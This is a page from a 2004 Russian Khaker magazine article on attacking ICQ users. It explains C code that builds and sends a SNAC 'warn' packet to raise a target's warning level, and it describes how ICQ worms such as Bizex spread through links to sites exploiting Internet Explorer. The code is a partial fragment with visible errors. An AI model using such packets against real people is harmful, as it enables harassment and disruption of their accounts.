Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #48, НОЯБРЬ 2004 г.

Извращения с тетей Асей

Роман Куберов aka q_ber

Спецвыпуск: Хакер, номер #048, стр. 048-050-3


Приступим к основному коду.

main(int argc, char *argv[])

{

Объявляем, соответственно, буфер, куда мы будем все формировать, FLAP и TLV:

static char *buf, *flap, *tlv;

Идентификатор запроса - необходимое значение для SNAC-заголовка, при сеансе каждый раз увеличивается на единицу. Если это значение не будет увеличиваться, произойдет мгновенное отключение от сервера:

u_int32_t requestid = 0;

Собираем warn-пакет и пакуем это все хозяйство в буфер:

buf = (char *)malloc(n, sizeof(char ));

buf = flap = flap_begin(buf, 2);

buf = writew(buf, 0x0004);

buf = writew(buf, 0x0008);

buf = writew(buf, 0x0000);

buf = writel(buf, ++requestid);

Важное замечание по поводу анонимности посланного пакета: значение 0x0001 сформирует анонимный пакет, значение 0x0000 сформирует не-анонимный пакет.

В общем, если посылать пакет анонимно, сервер просто откажется его принять :). Пишем:

buf = writew(buf, 0x0000); //не анонимный

buf = writeb(buf, uinlen);

buf = writes(buf, uin, uinlen);

flap_end(buf, flap);

После того, как мы сформировали буфер (а мы его сформировали), отправляем его на сервер функцией send, а в случае сетевой проблемы выводим ошибку:

if(send(sock, buf, packlen,0) == -1){perror("SNAC04,08 Send:"); exit(1);}

Если пакет был успешно доставлен на сервер (и пакет не был им проигнорирован), сервер вернет нам пакет со SNAC(04, 09) в котором будет содержаться новый уровень warning-level’а UIN’а который мы собрались атаковать, в процентах. В случае отказа сервера в данной услуге вернется пакет со SNAC (04, 01).

На этом мы завершаем наш краткий рассказ про warn-атаку. Дело это пока еще непубличное и полные исходники тебе никто просто не отдаст, но кое-что мы все же раздобыли и выложили на CD к журналу. Хватай, пока горячее :). Но тема атак на известный пейджер этим не ограничивается. На закуску мы расскажем о слегка устаревших, но еще рабочих способах.

ICQ-черви

Как таковые, ICQ-черви являются программами двухступенчатого принципа действия. Механизм работы червя достаточно прост, более того он, вопреки слухам, даже не использует протокол ICQ для распространения. Алгоритм его такой: червь рассылает с зараженного компьютера сообщение по сети ICQ (используя контакт-лист зараженной машины): «Посетите сайт ...com|biz|net». Если пользователь заходит на этот сайт, в дело вступает скрипт, использующий уязвимости в Internet Explorer’е, который собственно и отвечает за размножение червя. Именно он скачивает на компьютер компоненты червя и инсталлирует их в систему.

Для примера возьмем недавно нашумевший вирус Bizex. Это сообщение получили многие пользователи сети ICQ: «www.jokeworld.xxx/xxx.html :)». Для маскировки при просмотре веб-сайта пользователю показывается содержание интернет-представительства "Joe Cartoon" - автора популярных американских мультсериалов. В это время вирус атакует компьютер, используя сразу два направления. Во-первых, проникая сквозь брешь в браузере Internet Explorer и - через дыру в операционной системе Windows. Почитать о данных отверстиях можно тут:

Назад на стр. 048-050-2  Содержание  Вперед на стр. 048-050-4